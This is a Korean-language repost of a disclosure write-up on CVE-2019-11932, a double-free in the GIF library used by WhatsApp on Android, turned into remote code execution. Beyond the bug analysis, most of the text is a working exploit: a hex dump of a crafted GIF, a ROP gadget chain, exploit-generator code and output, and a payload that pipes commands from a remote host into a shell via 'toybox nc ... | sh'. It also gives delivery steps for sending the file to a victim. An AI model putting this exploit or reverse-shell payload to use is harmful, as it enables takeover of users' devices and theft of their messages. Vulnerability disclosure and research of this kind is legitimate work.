
제가 안드로이드 WhatsApp에서 발견한 이중 해제(double-free) 취약점과 이를 RCE로 전환한 방법을 공유하고자 합니다. 이 내용을 Facebook에 알렸고, Facebook은 이를 인지하여 WhatsApp 버전 2.19.244에서 공식적으로 패치했습니다. Facebook은 이 이슈에 대해 CVE-2019-11932를 예약하는 데 도움을 주었습니다.
WhatsApp 사용자 여러분, 이 버그로부터 안전하려면 최신 WhatsApp 버전(2.19.244 이상)으로 업데이트해 주시기 바랍니다.
단계는 다음과 같습니다:
한 가지 방법은 WhatsApp에서 문서(Document)로 보내는 것입니다 (예: 클립 버튼을 누르고 문서를 선택하여 변조된 GIF 전송) 공격자가 사용자의 연락처 목록에 있다면 (즉, 친구라면), 변조된 GIF는 사용자의 상호작용 없이 자동으로 다운로드됩니다.
사용자는 아무것도 보낼 필요가 없다는 점에 유의하세요. WhatsApp 갤러리를 여는 것만으로 버그가 트리거되기 때문입니다. WhatsApp 갤러리를 누른 후 추가 터치는 필요하지 않습니다.
WhatsApp 사용자가 WhatsApp에서 갤러리 보기를 열어 미디어 파일을 보내려고 하면, WhatsApp은 libpl_droidsonroids_gif.so라는 네이티브 라이브러리로 GIF 파일을 파싱하여 미리보기를 생성합니다. libpl_droidsonroids_gif.so는 오픈 소스 라이브러리이며, 소스 코드는 https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c 에서 확인할 수 있습니다.
GIF 파일은 여러 개의 인코딩된 프레임을 포함합니다. 디코딩된 프레임을 저장하기 위해 rasterBits라는 이름의 버퍼가 사용됩니다. 모든 프레임의 크기가 같으면, rasterBits는 재할당 없이 디코딩된 프레임을 저장하는 데 재사용됩니다. 그러나 다음 세 가지 조건 중 하나가 충족되면 rasterBits가 재할당됩니다:
재할당은 free와 malloc의 조합입니다. 재할당 크기가 0이면 단순히 free입니다. 크기가 100, 0, 0인 3개의 프레임을 가진 GIF 파일이 있다고 가정해 보겠습니다.
이로 인해 이중 해제 취약점이 발생합니다. 트리거 위치는 decoding.c에서 찾을 수 있습니다:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }
안드로이드에서 크기 N의 메모리를 이중 해제하면 크기 N의 연속된 두 메모리 할당이 동일한 주소를 반환하게 됩니다.
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
위 스니펫에서 변수 $foo가 두 번 해제되었습니다. 결과적으로 다음 두 할당($20과 $21)이 동일한 주소를 반환합니다. 이제 gif.h의 struct GifInfo를 살펴보겠습니다. struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- there's another function pointer here jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };
그런 다음 아래 크기의 세 프레임을 가진 GIF 파일을 제작합니다: sizeof(GifInfo) 0 0
WhatsApp 갤러리가 열리면, 해당 GIF 파일은 rasterBits 버퍼(크기 sizeof(GifInfo))에서 이중 해제 버그를 트리거합니다. 흥미롭게도 WhatsApp 갤러리에서는 GIF 파일이 두 번 파싱됩니다. 해당 GIF 파일이 다시 파싱되면 다른 GifInfo 객체가 생성됩니다. 안드로이드의 이중 해제 동작으로 인해 GifInfo info 객체와 info->rasterBits는 동일한 주소를 가리키게 됩니다. DDGifSlurp()는 첫 번째 프레임을 info->rasterBits 버퍼로 디코딩하여 info와 그 rewindFunction()을 덮어씁니다. rewindFunction()은 DDGifSlurp() 함수의 끝에서 호출됩니다.
제작해야 할 GIF 파일은 다음과 같습니다: 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
4개의 프레임을 포함합니다: 프레임 1: 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 프레임 2: 2C 00 00 00 00 1C 0F 00 00 00 00 프레임 3: 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 프레임 4: 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 WhatsApp 갤러리가 열릴 때 발생하는 시퀀스는 다음과 같습니다:
첫 번째 파싱: 초기화: GifInfo info = malloc(168); 프레임 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); 프레임 2: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); 프레임 3: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); 프레임 4: 중요하지 않음, 이 GIF 파일을 유효하게 만들기 위해 존재함 두 번째 파싱: 초기화: GifInfo info = malloc(168); 프레임 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); 프레임 2, 3, 4: 중요하지 않음 종료: info->rewindFunction(info); 첫 번째 파싱에서 이중 해제 버그가 발생하기 때문에 info와 info->rasterBits는 이제 동일한 위치를 가리킵니다. 첫 번째 프레임을 위와 같이 제작하면 info->rewindFunction(info);가 호출될 때 rewindFunction과 PC를 제어할 수 있습니다. 참고: 모든 프레임은 LZW로 인코딩되어 있습니다. 프레임을 인코딩하려면 LZW 인코더를 사용해야 합니다. 위의 GIF는 다음과 같은 크래시를 트리거합니다:
--------- beginning of crash 10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp) 10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF 10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone 10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928 10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059) 10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys' 10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10' 10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64' 10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<< 10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008 10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f 10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001 10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff 10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608 10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0 10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b 10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760 10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000 10-02 11:09:38.499 18071 18071 F DEBUG : 10-02 11:09:38.499 18071 18071 F DEBUG : backtrace: 10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120) 10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012) 10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000] 10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc
PC를 제어한 후에는 원격 코드 실행을 달성하려고 합니다. 안드로이드에서는 W^X(스택 및 힙)로 인해 실행 불가능한 영역에서 코드를 실행할 수 없습니다. 이 경우 W^X를 처리하는 가장 쉬운 방법은 아래 명령을 실행하는 것입니다:
system("toybox nc 192.168.2.72 4444 | sh"); 이를 위해 PC가 libc.so의 system() 함수를 가리키고 X0가 "toybox nc 192.168.2.72 4444 | sh"를 가리키도록 해야 합니다. 이는 직접 수행할 수 없습니다. 먼저 PC가 중간 가젯으로 점프하여 X0를 "toybox nc 192.168.2.72 4444 | sh"로 설정하고 system()으로 점프하도록 해야 합니다. info->rewindFunction(info); 주변의 디스어셈블리 코드에서 X0와 X19는 모두 info->rasterBits(또는 info, 둘 다 동일한 위치를 가리키므로)를 가리키고, X8은 실제로 info->rewindFunction임을 알 수 있습니다.
info->rewindFunction 주변의 디스어셈블리libhwui.so에는 우리의 목적에 완벽하게 부합하는 가젯이 있습니다:
ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 위 가젯의 주소를 AAAAAAAA, system() 함수의 주소를 BBBBBBBB라고 가정해 봅시다. LZW 인코딩 전 rasterBits 버퍼(프레임 1)는 다음과 같습니다:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. 일반적인 Android 시스템에서는 모든 프로세스가 Zygote에서 생성되므로, ASLR이 적용된 상태에서도 WhatsApp이 종료되었다가 다시 시작되더라도 주소 AAAAAAAA와 BBBBBBBB는 변하지 않습니다. 하지만 시스템 재부팅 시에는 유지되지 않습니다. 신뢰할 수 있는 AAAAAAAA와 BBBBBBBB를 확보하려면 libc.so와 libhwui.so의 베이스 주소를 알려주는 정보 노출 취약점이 필요합니다. 해당 취약점은 이 블로그 게시물의 범위를 벗어납니다.
이 저장소의 코드를 컴파일하기만 하면 됩니다. system() 및 가젯의 주소는 정보 노출 취약점(이 블로그 게시물에서 다루지 않음)을 통해 찾은 실제 주소로 대체해야 합니다. /* 가젯 g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- 이 값을 교체하세요 memcpy(buffer + 128, &g1_loc, 8);
size_t system_loc = 0x7cb602ce84; <<-- 이 값을 교체하세요
memcpy(buffer + 24, &system_loc, 8);
변조된 GIF 파일을 생성하려면 코드를 실행하세요:
notroot@osboxes:/Desktop/gif$ make
.....
.....
.....
notroot@osboxes:/Desktop/gif$ ./exploit
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
그런 다음 내용을 GIF 파일에 복사하고 WhatsApp에서 다른 WhatsApp 사용자에게 문서(Document)로 전송하세요. 미디어 파일로 보내면 안 됩니다. 그렇지 않으면 WhatsApp이 전송 전에 MP4로 변환하려고 시도합니다. 사용자가 악성 GIF 파일을 수신해도, 사용자가 친구에게 미디어 파일을 보내기 위해 WhatsApp 갤러리를 열 때까지는 아무 일도 일어나지 않습니다.
이 익스플로잇은 WhatsApp 버전 2.19.230까지 잘 작동합니다. 이 취약점은 WhatsApp 버전 2.19.244에서 공식적으로 패치되었습니다.
이 익스플로잇은 Android 8.1 및 9.0에서 잘 작동하지만, Android 8.0 이하에서는 작동하지 않습니다. 이전 Android 버전에서는 여전히 double-free가 트리거될 수 있습니다. 그러나 double-free 후 시스템의 malloc 호출 때문에 PC 레지스터를 제어할 수 있는 지점에 도달하기 전에 앱이 충돌합니다.
참고: Facebook은 android-gif-drawable 저장소의 개발자에게 이 문제를 알렸습니다. Facebook의 수정 사항은 8월 10일 커밋에서 원래 저장소에 병합되었습니다. android-gif-drawable 버전 1.2.18은 double-free 버그로부터 안전합니다.
위의 익스플로잇을 사용하면 두 가지 공격 벡터를 사용할 수 있습니다:
로컬 권한 상승 (사용자 앱에서 WhatsApp으로): 악성 앱이 Android 기기에 설치됩니다. 앱은 zygote 라이브러리의 주소를 수집하고, WhatsApp 컨텍스트에서 코드 실행을 초래하는 악성 GIF 파일을 생성합니다. 이를 통해 멀웨어 앱은 메시지 데이터베이스를 포함한 WhatsApp 샌드박스의 파일을 훔칠 수 있습니다. 원격 코드 실행: 원격 메모리 정보 노출 취약점(예: 브라우저)이 있는 애플리케이션과 결합하여, 공격자는 zygote 라이브러리의 주소를 수집하고 악성 GIF 파일을 제작하여 WhatsApp을 통해 사용자에게 전송할 수 있습니다(갤러리 선택기를 통한 이미지가 아닌, 첨부 파일로 보내야 함). 사용자가 WhatsApp에서 갤러리 보기를 열자마자(친구에게 미디어 파일을 보내지 않는 사람이 어디 있겠습니까?), GIF 파일은 WhatsApp 컨텍스트에서 원격 셸을 트리거합니다.
#출처 Afnan Sadhayo Infiniteloopers.com
저는 이 자료의 소유자가 아닙니다. 문제가 있으면 소유자에게 연락해 주십시오.